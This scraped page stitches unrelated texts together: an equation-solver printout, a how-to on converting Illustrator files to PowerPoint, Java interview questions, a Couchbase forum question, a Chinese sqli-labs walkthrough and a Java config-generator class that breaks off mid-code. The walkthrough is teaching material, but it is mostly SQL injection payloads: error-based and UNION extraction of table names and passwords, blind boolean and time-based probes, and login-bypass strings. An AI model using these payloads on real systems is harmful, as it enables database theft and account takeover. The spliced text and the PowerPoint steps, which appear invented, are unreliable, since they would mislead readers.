x + 0.5 = 2 Simplifying x + 0.5 = 2 Reorder the terms: 0.5 + x = 2 Solving 0.5 + x = 2 Solving for variable 'x'. Move all terms containing x to the left, all other terms to the right. Add '-0.5' to each side of the equation. 0.5 + -0.5 + x = 2 + -0.5 Combine like terms: 0.5 + -0.5 = 0.0 0.0 + x = 2 + -0.5 x = 2 + -0.5 Combine like terms: 2 + -0.5 = 1.5 x = 1.5 Simplifying x = 1.5
Subproblem 2
x + 0.5 = -2 Simplifying x + 0.5 = -2 Reorder the terms: 0.5 + x = -2 Solving 0.5 + x = -2 Solving for variable 'x'. Move all terms containing x to the left, all other terms to the right. Add '-0.5' to each side of the equation. 0.5 + -0.5 + x = -2 + -0.5 Combine like terms: 0.5 + -0.5 = 0.0 0.0 + x = -2 + -0.5 x = -2 + -0.5 Combine like terms: -2 + -0.5 = -2.5 x = -2.5 Simplifying x = -2.5
Solution
The solution to the problem is based on the solutions from the subproblems. x = {1.5, -2.5}
Processing time: 1 ms. 72543588 equations since February 08, 2004. Disclaimer
Completing the Square Calculator
Equation: Variable:
Hint: Selecting "AUTO" in the variable box will make the calculator automatically solve for the first variable it sees.
Home Lessons Calculators Worksheets Resources Feedback Algebra Tutors | __label__pos | 0.999351 |
How To Convert Ai To Powerpoint
Adobe Illustrator (AI) is a well-known software for creating vector graphics, commonly used by designers and artists. However, there may be instances where you need to change your AI file into a PowerPoint presentation. In this article, we will walk you through the steps of converting an AI file to a PowerPoint presentation.
Step 1: Open Adobe Illustrator
Firstly, open Adobe Illustrator on your computer. If you don’t have it installed, you can download it from the official Adobe website or purchase it from a retail store.
Step 2: Open Your AI File
Once you have opened Adobe Illustrator, open your AI file by clicking on “File” in the top left corner of the screen and selecting “Open”. Browse through your files and select the AI file that you want to convert into a PowerPoint presentation.
Step 3: Save Your File as a PDF
After opening your AI file, go to “File” in the top left corner of the screen and select “Save As”. In the “Save As” dialog box, choose “PDF” as the file format. Give your file a name and save it on your computer.
Step 4: Open PowerPoint
Now that you have saved your AI file as a PDF, open Microsoft PowerPoint on your computer. If you don’t have it installed, you can download it from the official Microsoft website or purchase it from a retail store.
Step 5: Create a New Presentation
Once you have opened PowerPoint, create a new presentation by clicking on “File” in the top left corner of the screen and selecting “New”. Choose a template that suits your needs or create a new one from scratch.
Step 6: Import Your PDF File
Now that you have created a new presentation, go to “File” in the top left corner of the screen and select “Import”. In the “Import” dialog box, choose “PDF” as the file format. Browse through your files and select the PDF file that you saved earlier. Click on “Import” to import your AI file into PowerPoint.
Step 7: Edit Your Presentation
After importing your AI file into PowerPoint, you can edit it as needed. You can add text, images, and other elements to enhance your presentation. Make sure to save your work regularly to avoid losing any changes.
Step 8: Export Your Presentation
Once you have edited your presentation, go to “File” in the top left corner of the screen and select “Export”. In the “Export” dialog box, choose “PowerPoint Show” as the file format. Give your file a name and save it on your computer.
Conclusion
In conclusion, converting an AI file into a PowerPoint presentation is a simple process that can be done in just a few steps. By following the steps outlined in this article, you can easily convert your AI file into a PowerPoint presentation and share it with others. | __label__pos | 0.966469 |
Tutorials
Java Basic Interview Question
Java Interview Question Set3
Q1: Write main() method with correct signature?
Given below is the main() method with correct type signature.
public static void main(String[] args) {
//main body
}
Q2: Explain meaning of each term in main() method?
As we have already seen from above question that important terms in main are:
• public
• static
• void
• main
• String[ ] args
We have already provided detailed answer explaining each term in our java tutorial here: click to read
Q3: Shuffle the terms of main method and execute. Will it run?
Yes it will run fine for some combinations.
The code will compile and run if we write keywords in main() method in any order as shown below:
• public static void main(String[] args)
• static public void main(String[] args)
But these combinations won't compile:
• public void static main(String[] args) → compiler error as method main doesnot have valid return type. static is not a return type so this combination fails.
• static void public main(String[] args) → Same reason as stated above
Q4: Why main() method is needed in java?
In java main() method is the entry point.
Whenever a program is executed the JVM search for the main method with the type signature as explained in question 1.
So main is needed to start the program execution and help JVM locate the starting point of the program.
Q5: Can main() method be overloaded in java?
Yes we can overload main method in java.
Find the example of main() method overloading given below:
public class TutorialsInHand {
public static void main(String[] args){
int a=10, b =40;
main(a, b);
}
public static void main(int a,int b){ //overloaded main
int result = a+b;
System.out.println(result);
}
}
Similarly you can overload more methods.
If you want to learn about method overloading in details then following the link to our java tutorial - click here
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Like every other website we use cookies. By using our site you acknowledge that you have read and understand our Cookie Policy, Privacy Policy, and our Terms of Service. Learn more Got it! | __label__pos | 0.99919 |
Problem select date from string (yyyy-mm-dd hh:MM:ss)
Hi all,
i have document like this:
{
“mu”: {
“id”: “test:1”,
“dt”: “2017-07-07 07:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:2”,
“dt”: “2017-07-07 12:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:3”,
“dt”: “2017-07-05 09:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:4”,
“dt”: “2017-07-04 14:00:00”,
“type”: “test”
}
},
{
“mu”: {
“id”: “test:5”,
“tgl”: “2017-07-01 07:00:00”,
“type”: “test”
}
}
right now i want to select document that dt is greater from 2017-07-04, so i can have 3 document in the result.
i already try:
select * from mu where type=‘test’ and STR_TO_MILLIS(dt) > STR_TO_MILLIS(‘2017-07-04 00:00:00’)
but the syntax problem. please help. thanks
best regards,
What errors it gives. It is works.
insert into default values("test1",{"id": "test:1", "dt": "2017-07-07 07:00:00", "type": "test" });
select * from default where type='test' and STR_TO_MILLIS(dt) > STR_TO_MILLIS('2017-07-04 00:00:00');
{
"requestID": "39dc0c43-ba12-4fba-89f8-95455d9d7fb2",
"signature": {
"*": "*"
},
"results": [
{
"default": {
"dt": "2017-07-07 07:00:00",
"id": "test:1",
"type": "test"
}
}
]
}
If date is ISO 8601 format it is string comparable.
select * from mu where type=‘test’ and dt > ‘2017-07-04’;
Your query returns 4 documents not 3 (If the date string does not explicitly declare the value of a component, then a value of 0 is assumed. For example 2016-02-07 is equivalent to 2016-02-07T00:00:00. This is with the exception of the time zone, which if unspecified in the date string will default to the local system time zone.). https://developer.couchbase.com/documentation/server/current/n1ql/n1ql-language-reference/datefun.html | __label__pos | 0.662807 |
SQL注入练习之sqli-labs靶场Writeup
Less-1（报错型注入-字符串类型）
1. 打开之后让输入ID的，随便构造一个语句http://192.168.80.134/sql/Less-1/index.php?id=1，返回是正常的，再次构造语句index.php?id=1' 报错了，说明SQL语句在查询的时候把’也带入了查询语句，并且错误提示如下，可以看出是报错型注入
sqli-labs之LESS-1讲解（报错型注入）
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1. 继续构造语句：index.php?id=1' --+返回正常，说明我们的SQL语句构造成功，--+在MySQL语句中是注释符号，这句话相当于前面的’将前面的语句闭合了，而–+又把后面原本有的'闭合符号给注释掉了，所以语句执行正确。建议大家在学习的时候观看源码，其背后执行的SQL语句是：
select * from users where id = ' 1' --+ '
我们只需要把我们想要执行的SQL语句插入在–+之前
1. 查询字段
index.php?id=1' order by 3--+
不断更换order by 后面的数字，通过这里来判断字段数，最终发现存在3个字段
1. 爆数据库
index.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+
成功得到数据库名字为security其中0x7e是16进制编码的~符号，并无特殊意义。
sqli-labs之LESS-1讲解（报错型注入）
1. 爆表
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),0x7e),3) --+
其中security是我们上次爆出来的数据库名，这里可以看出成功爆出表名了。
sqli-labs之LESS-1讲解（报错型注入）
1. 爆字段
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='users'),0x7e),3) --+
我们这里爆的是users表的字段，可以看到有id,username,password如下字段
sqli-labs之LESS-1讲解（报错型注入）
1. 爆数据
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
其中username就是我们想要爆出来的数据的字段，可以看到已经爆出来了如下用户名称。
sqli-labs之LESS-1讲解（报错型注入）
但是很明显用户名没有完全报出来，这是因为updatexml()这个是有长度限制的最长32位，这时候就该我们的另一个主角上场了，就是 SUBSTR() 截断函数，语法如下：
SUBSTR(str,pos,len)
# 就是从 str 字符串中，从 pos 位置开始，截取 len 个长度的字符
所以我们可以构造如下语句：
index.php?id=1' union select updatexml(1,concat(0x7e,SUBSTR((select group_concat(username) from users),1,24),0x7e),1) --+
上面这个语句就是从 1 开始，截断 24 个字符。
Less-2（报错型注入-整数类型）
\1. 这是一个数字类型的报错注入，最常用的手法是在后面输入-1测试，比如
当我们构造语句：
index.php?id=2
显示为Angelina，但是当我们在2的后面输入-1的时候，页面返回值变为了Dumb（即index.php?id=1的返回值），说明-1被带入了SQL语句中，此处很可能存在SQL注入漏洞
sqli-labs之Less-2讲解（报错型注入-整数类型）
\2. 查询字段
index.php?id=1 order by 3
经过检测发现存在3个字段
\2. 爆数据库
此篇依旧使用报错型注入手法进行操作，与上一篇文章稍有不同
index.php?id=1 union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a
得出数据库名字为：security
sqli-labs之Less-2讲解（报错型注入-整数类型）
3.爆表
index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
在这里因为使用了LIMIT限制语句，所以每次只会爆出来一个表，可以通过变换LIMIT的第一个参数来进行表的更换查询
比如：
index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
这条语句便是查询的第1张表，上一条语句查的是第0张表
sqli-labs之Less-2讲解（报错型注入-整数类型）
4.爆字段
index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='emails' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
同样这里的LIMIT同上，是可以更换值来查询不同的字段
经查询一共存在id和email_id两个字段
sqli-labs之Less-2讲解（报错型注入-整数类型）
5.爆数据
union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,id_,0x7e,email_id,0x7e) FROM emails limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a
成功获得数据，LIMIT亦同上
sqli-labs之Less-2讲解（报错型注入-整数类型）
Less-3（报错型注入-单引号）
\1. 按照常规套路，打开网页构造语句：
inde.php?id=1
加上'单引号，报错，如下：
sqli-labs之Less-3讲解（报错型注入-单引号）
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
后面有括号，咱给他闭合上，继续构造语句：
index.php?id=1') --+
完美绕过，那么我们接下来就是要搞事情，只需要将你想要执行的SQL语句穿插进--+之前即可，很明显这里有报错信息，那么我们就直接使用报错注入就行啦~
2.爆个数据库
index.php?id=1') union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a --+
sqli-labs之Less-3讲解（报错型注入-单引号）
具体步骤以及语句和 Less-2 相同，只是多了后面的--+注释符号而已，不再赘述。
Less-4（报错型注入-双引号）
1.这篇解题思路与 Less-3 几乎没有任何差别，只需要将上一篇的单引号换成双引号引起报错即可。
2.继续使用报错注入，爆数据库
index.php?id=1") union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a --+
sqli-labs之Less-4讲解（报错型注入-双引号）
Less-5（布尔类型注入-单引号）
前言：
先来说一下什么是布尔类型注入，即你构造的SQL语句执行完毕之后只会返回给你真或者假，反馈到网页上的也就是只会返回给你是否存在。
1.正常执行
index.php?id=1
这条语句是完全没毛病的可以正常执行，所以页面返回的结果是如下
sqli-labs之Less-5讲解（布尔类型注入）
2.尝试报错
index.php?id=1'
返回提示：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
说明我们的分号是被带入到了SQL查询中的，所以报错了，那么只需要闭合即可
index.php?id=1' --+
执行这条闭合完美执行成功，返回You are in….我们接下来的任务就是继续将SQL语句插入进去，但是注意这可是布尔注入，只会返回给你真假，所以有很多地方需要注意，下面继续讲解。
3.主要函数
这些都是布尔注入需要使用到的函数，下面都会用到并讲解的。
length() #返回字符串的长度
substr() #截取字符串
substr（a,b,c）作用将字符串a从第b位开始取c位数出来
ascii() #返回字符的ascii码
sleep(n) #将程序挂起休眠n秒
if(exp1,exp2,exp3) #判断语句，如果第一个语句正确就执行第二个语句，如果错误就执行第三个。
4.判断当前数据库名长度
第一次构造：
index.php?id=1' and length(database())>1--+
执行成功，布尔注入只能靠不断变换后面的数字来进行猜测数据库名长度。以当前数据库security数据库长度为例，如果出现大于7，但是不大于8，那么肯定就是当前数据库名长度等于8了，此时就可以使用如下语句进行判断
index.php?id=1' and length(database())=8--+
如果返回为真，那么则说明数据库长度肯定是8位了。
5.猜测数据库名
猜测数据库名的时候需要一个一个地猜，我先用手工的演示，等下文章最后面会放上python脚本。
index.php?id=1' and ascii(substr(database(),1,1))>65--+
这里我查询的是查询数据库名的第一位（即上面语句的第一个1的作用，substr查询不是从0开始的，就是从1开始的，第二个1的作用是只取一位，这个不用变）是否大于ascii码表的A，以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下语句；
index.php?id=1' and ascii(substr(database(),2,1))>65--+
就这样不断尝试吧，因为我们刚才已经获取到了数据库名的长度，所以继续慢慢猜吧。
6.猜测表名
index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 --+
这句的意思呢也就是通过limit限制只查询当前数据库的第0张表，然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65（即字母A）。加入存在多张表，可以通过变换limit的第一个参数0换为1来更换表继续查询。
7.猜测字段
index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 --+
假设我们得到了一张表名为：password，那么我们还是跟上面一样，通过limit限制为第一个字段，然后substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 --+
上面这一条呢就是将第0个字段的名字的第二个字符取出与ascii码表的64（字母A）进行比较
8.猜测数据
index.php?id=1' and ascii(substr((select keykey from id limit 0,1),1,1)) >65 --+
意思与上面的一样，假设我们得到了一个字段：id
继续通过limit限制为数据的第一个字符，然后用substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
9.恭喜你看到这里了，这种布尔类型的几乎没有人真的去完全猜测，都是拿脚本跑的，附上我的小脚本吧，此题适用，一般来说，这种布尔类型的直接修改payload都可以通用啦。
Github:SQL注入_布尔注入脚本
Less-6（布尔类型注入-双引号）
这道题跟 Less-5 第五题基本上没有任何区别，唯一的区别就是由上一题的单引号变为了双引号。
1.一般我们的操作都是先加上单引号'尝试一下报错，在这里我们发现加上单引号之后没什么反应，跟原先页面一样，那么我们就可以尝试一下双引号"了，这些都是一些基本思路。
index.php?id=1"
这样就报错了，然后就是后面加上注释符号进行闭合操作。
2.后续步骤
后续步骤就和 Less-5 一样了，没有任何区别的了。
Less-7（暂无解）
暂未解出
Less-8（盲注）
前言：此题是盲注类型的，具体为什么见下文
1.正常访问
正常访问语句为
?id=1
可以看出来是页面返回正常，没啥毛病
2.构造干扰
id=1'
发现页面返回不正常了，说明分号被带入SQL查询了，我们进行闭合即可。
id=1' --+
此时又返回正常了，说明闭合成功，接下来就是穿插SQL语句到里面。
3.查询字段
id=1' order by 3 --+
不断变换order by后面的数据，最后发现存在3个字段
Less-9（基于时间盲注-单引号）
前言：这道题其实设置的有点古怪，无论你是否构造语句正确与否，都会只返回给你 You are in...........，所以你很难知道你是否闭合成功语句以及SQL语句是否执行成功，这里就需要依靠时间延时来进行判断了。
1.构造语句
?id=1' and if(1=1,sleep(0),sleep(5)) --+
上面这句话的意思就是，如果1=1这条SQL语句执行成功，那么久实行sleep(0)休眠0秒，如果1=1这条SQL语句执行错误，那么就执行sleep(5)休眠5秒，以此来进行判断SQL语句是否执行成功。这里的1=1，其实在下面就可以更换为我们想要执行的其他SQL语句。
sqli-labs之Less-9讲解（基于时间盲注）
从上面图中可以看到，当我们执行了一条正确的SQL语句时，浏览器很快就会返回结果，耗时一秒多，耗时绝对不会超过5秒。
sqli-labs之Less-9讲解（基于时间盲注）
而当我们执行了一条错误的SQL语句时，浏览器会一直转圈转圈加载5秒之后执行，共计耗时6秒多，耗时绝对超过5秒。
由此我们就可以构造我们的payload了，通过执行时间长短来进行判断构造的SQL语句是否执行正确。
2.布尔盲注
这道题说到底还是布尔盲注方向的，只不过是有了更多的限制条件了，其实跟前面的这篇文章Less-5（布尔类型注入-单引号）其实是一样的，基本无任何差别，建议参考一下，看看基础知识。
最后附上Python脚本，因为这种题目没有人是真正完全靠脑子去猜测的，都是脚本跑的。
Github：基于时间的布尔盲注
Less-10（基于时间盲注-双引号）
这道题跟第九题Less-10讲解（基于时间盲注-双引号）》原理一样，只是干扰报错信息换为了双引号而已，除此之外没有任何改变。建议配合Less-5讲解（布尔类型注入-单引号）这篇文章一起食用，效果更佳。
Less-11（POST注入-单引号）
前言：
从这道题开始呢，就是该POST基础注入了。
1.随便进行登录测试
随便输入账号密码进行测试一下返回结果，发现返回为空，没有任何有效信息返回，那么我们就开始构造万能密码进行尝试。在这里其实有一个SQL语句，真实环境下一般没有，这里这个SQL语句只能算是题目提示。
2.构造账号密码
用户名：a' or 1=1 #
密码：a
这里的密码是随意输入的，以下同是。账号则是我们精心构造的一个永为真的情况，a这个用户是不存在的，但是执行SQL语句时，查询不到a这个用户，然后继续or执行了1=1这条SQL语句，发现为真，#井号注释符把后面的语句全部给注释掉了，语句也就闭合了，完美返回用户名、密码。我们把上面的SQL放进Navicat在这里面执行以下更直观一些：
sqli-labs之Less-11讲解（POST注入）
可以看到#后面的SQL语句都是被注释掉了的，并且因为为or 1=1为真，返回了所有的数据库的结果（在PHP页面上只能看到一条是因为在Less-11/index.php文件中使用了mysql_fetch_array函数，限制返回一条数据）
3.查询字段
用户名：a' or 1=1 order by 2 #
正确返回到我们想要的结果，经猜测存在两个字段。
4.查询显示位
a' and 1=1 union select 1,2 #
有细心的小伙伴们可能已经发现了上面我们一直用的or而这里改用了and，我们上面用or的原因是为了确保1=1这条SQL语句能够执行，所以用or，而这里用and是因为我们构造的用户名a在数据库中根本不存在（如果不确定数据库中是否存在可以随便起一个很长很长的名字），如果继续用or的话会返回所有的结果，而我们union select查询的结果就会排在最下面，就不会显示在网页页面上了，如图：
sqli-labs之Less-11讲解（POST注入）
而使用and的话，就保证了union select其前面的SQL语句返回为空，然后继续执行union select返回其结果，如图：
sqli-labs之Less-11讲解（POST注入）
或者你使用or 1=2效果也都是一样的，都是为了保证前面的返回结果为空。将上面的构造的SQL输入在用户名处，随便写上密码便可以看到显示位了。
5.查询数据库名
a' and 1=1 union select database(),user() #
sqli-labs之Less-11讲解（POST注入）
可以看到已经返回了数据库名等信息
6.查询表名
a' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
7.查询字段
a' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
其中users是上面爆出来的表的名字
8.查询数据
a' and 1=1 union select 1,group_concat(password) from users #
其中password又是上面爆出来的字段名字
Less-12（POST注入-双引号_括号）
前言：
这道题跟Less-11是一样的，唯一不同之处便是，Less-11使用的是单引号包裹，而这道题使用的是双引号以及括号包裹。
1.构造语句
a") or 1=1 #
接下来的就跟Less-11（POST注入-单引号）》这里的操作一样，便不再赘述了。
Less-13（POST报错注入-单引号_括号）
同上
Less-14（POST报错注入-双引号）
a" or updatexml(1,concat(0x7e,(select database()),0x7e),3) or 1=1 #
报错注入，不想写了
Less-15（POST布尔盲注注入-单引号）
前言：
一般登录处是比较容易存在SQL注入漏洞的，所以我们有时候在实战情况下找到了某个登录的地址，但是没有账号密码的情况下就可以尝试使用在登录处进行SQL注入。
1.随便尝试登录
随便构造几个常用的账号密码进行尝试登录，发现只要账号密码不对，登录框下面的提示一直是失败的，也就相当于现在比较常见的登陆失败直接提示：账号或密码输入错误。让你根本无法知道是账号错误还是密码错误，这样也就无法遍历用户名了，也是一种较为常用的保护机制。
2.构造账号密码
账号：a' or 1=1 #
密码：a
这里的账号和密码中的a其实是随便输入的，你可以随意替换。可以看到当我们输入这一组账号密码的时候，是显示登录成功的。但是我们只知道登陆成功，却无法直观看到其他类似于数据库名称，版本等信息，这是因为这里是一个盲注，可以使用基于时间的盲注也可以使用基于布尔类型的盲注。可以参考这篇文章Less-5（布尔类型注入-单引号）或者这篇[Less-9（基于时间盲注-单引号）
3.猜数据库长度
账号：a' or 1=1 and length(database())>1 #
密码：a
以这样的形式来进行数据库名长度的猜测。
4.猜数据库名
猜测数据库名的时候需要一个一个地猜，我这里用手工的演示。
账号：a' or 1=1 and ascii(substr(database(),1,1))>65 #
密码：a
这里我查询的是查询数据库名的第一位（即上面语句的第一个1的作用，substr查询不是从0开始的，就是从1开始的，第二个1的作用是只取一位，这个不用变）是否大于ascii码表的A，以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下payload语句：
账号：a' or 1=1 and ascii(substr(database(),2,1))>65 #
密码：a
大家应该可以看出来差别了，只是变换了一下参数值大小，以此类推。
5.猜测表名
猜测出来数据库名之后接下来就是该猜测表名了，构造语句：
账号：a' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 #
密码：a
这句的意思呢也就是通过limit限制只查询当前数据库的第0张表，然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65（即字母A）。加入存在多张表，可以通过变换limit的第一个参数0换为1来更换表继续查询。
6.猜测字段
假设我们得到了一张表名为：password，那么我们还是跟上面一样，通过limit限制为第一个字段，然后substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
账号：a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 #
密码：a
那么我们想将第0个字段的名字的第二个字符取出与ascii码表的64（字母A）进行比较则是如下语句：
账号：a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 #
密码：a
7.猜测数据
账号：a' or 1=1 and ascii(substr((select keykey from id limit 0,1),1,1)) >65 #
密码：a
意思与上面的一样，假设我们得到了一个字段：id
继续通过limit限制为数据的第一个字符，然后用substr函数来将从第一位取出一个来与ascii码表上的65（字母A）进行比较
结束语
其实这种SQL注入只要找打规律之后一般大佬的操作就是写个 Python 脚本来跑的，没有人去完全靠手工猜测的，建议使用 Python。
文章作者: Writeup
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
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IT源码网
idea中ssm自动配置讲解
xmjava 2021年02月13日 编程语言 142 0
自动生成
只需要创建好maven项目，然后创建一个类Test，复制代码粘贴即可
使用注意：
代码
import java.io.*;
public class Test {
//包名格式
//列如配置到com.wbg.ssm包下 程序会自动添加dao\controller\service\entity
private final static String com = "com.wbg.ssm";
//数据库名称
private final static String database = "";
//数据库账号
private final static String user = "root";
//数据库密码
private final static String password = "123456";
public static void main(String[] args) throws IOException {
createStart();
}
static void createStart() {
//获取当前项目的路径
String url = System.getProperty("user.dir");
System.out.println("开始配置pom.xml");
System.out.println(configPomXml(url));
url = url + File.separator + "src" + File.separator + "main";
System.out.println("开始配置resources目录");
createResources(url + File.separator + "resources");
System.out.println("完成配置resources目录");
System.out.println("开始配置webapp目录");
createWebapp(url + File.separator + "webapp");
System.out.println("完成配置webapp目录");
}
//***********************Resources************************
/**
* 创建四个配置文件
* dbc.properties
* log4j.properties
* mybatis-config.xml
* spring-web.xml
*
* @return
*/
static boolean createResources(String url) {
if (createJdbcProperties(url)) {
System.out.println("jdbc.properties配置成功");
} else {
System.out.println("jdbc.properties配置失败");
}
if (log4jProperties(url)) {
System.out.println("log4j.properties配置成功");
} else {
System.out.println("log4j.properties配置失败");
}
if (mybatisConfig(url)) {
System.out.println("mybatis-config.xml配置成功");
} else {
System.out.println("mybatis-config.xml配置失败");
}
if (springWeb(url)) {
System.out.println("spring-web.xml配置成功");
} else {
System.out.println("spring-web.xml配置失败");
}
if (generatorConfig(url)) {
System.out.println("generatorConfig.xml配置成功");
} else {
System.out.println("generatorConfig.xml配置失败");
}
//\resources\spring
if (springDao(url + File.separator + "spring")) {
System.out.println("spring-dao.xml配置成功");
} else {
System.out.println("spring-dao.xml配置失败");
}
//\resources\spring
if (springService(url + File.separator + "spring")) {
System.out.println("spring-service.xml配置成功");
} else {
System.out.println("spring-service.xml配置失败");
}
return true;
}
/**
* 创建jdbc.properties配置文件
*
* @param url 路径
* @return
*/
static boolean createJdbcProperties(String url) {
File file = new File(url, "jdbc.properties");
String context = "jdbc.driver=org.mariadb.jdbc.Driver\n" +
"jdbc.url=jdbc:mariadb://localhost:3306/" + database + "\n" +
"jdbc.user="+user+"\n" +
"jdbc.password="+password+"";
return createFile(file, context);
}
/**
* 创建log4j.properties日志文件
*
* @param url 路径
* @return
*/
static boolean log4jProperties(String url) {
File file = new File(url, "log4j.properties");
String context = "# Global logging configuration\n" +
"log4j.rootLogger=ERROR, ooo\n" +
"\n" +
"# MyBatis logging configuration...\n" +
"log4j.logger." + com + ".dao=DEBUG\n" +
"\n" +
"# 规则1,名字为 ooo，向标准输出 System.err/out\n" +
"log4j.appender.ooo=org.apache.log4j.ConsoleAppender\n" +
"log4j.appender.ooo.layout=org.apache.log4j.PatternLayout\n" +
"log4j.appender.ooo.layout.ConversionPattern=%5p [%t] ~ %m%n\n";
return createFile(file, context);
}
/**
* 创建mybatis-config.xml配置文件
*
* @param url 路径
* @return
*/
static boolean mybatisConfig(String url) {
File file = new File(url, "mybatis-config.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" +
"<!DOCTYPE configuration PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n" +
"\n" +
"\n" +
"<configuration>\n" +
" <settings>\n" +
" <!-- 使用jdbc的getGeneratedKeys获取数据库自增主键值 -->\n" +
" <setting name=\"useGeneratedKeys\" value=\"true\" />\n" +
" <!-- 使用列别名替换列名 默认:true -->\n" +
" <setting name=\"useColumnLabel\" value=\"true\" />\n" +
" <!-- 开启驼峰命名转换:Table {create_time} -> Entity {createTime} -->\n" +
" <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n" +
" </settings>\n" +
"\n" +
" <plugins>\n" +
" <plugin interceptor=\"com.github.pagehelper.PageInterceptor\" />\n" +
" </plugins>\n" +
"</configuration>";
return createFile(file, context);
}
/**
* 创建spring-web.xml配置文件
*
* @return
*/
static boolean springWeb(String url) {
File file = new File(url, "spring-web.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xmlns:context=\"http://www.springframework.org/schema/context\"\n" +
" xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n" +
" xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n" +
"\thttp://www.springframework.org/schema/beans/spring-beans.xsd\n" +
"\thttp://www.springframework.org/schema/context\n" +
"\thttp://www.springframework.org/schema/context/spring-context.xsd\n" +
"\thttp://www.springframework.org/schema/mvc\n" +
"\thttp://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd\">\n" +
" <!-- 配置SpringMVC -->\n" +
" <!-- 1.开启SpringMVC注解模式 -->\n" +
" <!-- 简化配置：\n" +
" (1)自动注册DefaultAnootationHandlerMapping,AnotationMethodHandlerAdapter\n" +
" (2)提供一些列：数据绑定，数字和日期的format @NumberFormat, @DateTimeFormat, xml,json默认读写支持\n" +
" -->\n" +
" <mvc:annotation-driven />\n" +
"\n" +
" <!-- 2.静态资源默认servlet配置\n" +
" (1)加入对静态资源的处理：js,gif,png\n" +
" (2)允许使用\"/\"做整体映射\n" +
" -->\n" +
" <mvc:default-servlet-handler/>\n" +
"\n" +
" <!-- 3.配置jsp 显示ViewResolver -->\n" +
" <bean class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n" +
" <property name=\"viewClass\" value=\"org.springframework.web.servlet.view.JstlView\" />\n" +
" <property name=\"prefix\" value=\"/WEB-INF/jsp/\" />\n" +
" <property name=\"suffix\" value=\".jsp\" />\n" +
" </bean>\n" +
" <!-- 4.扫描web相关的bean -->\n" +
" <context:component-scan base-package=\"" + com + ".controller\" />\n" +
"</beans>";
return createFile(file, context);
}
/**
* 创建spring-dao.xml配置文件
*
* @param url 路径
* @return
*/
static boolean springDao(String url) {
File file = new File(url, "spring-dao.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xmlns:tx=\"http://www.springframework.org/schema/tx\" xmlns:context=\"http://www.springframework.org/schema/context\"\n" +
" xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n" +
"\n" +
"\n" +
"\n" +
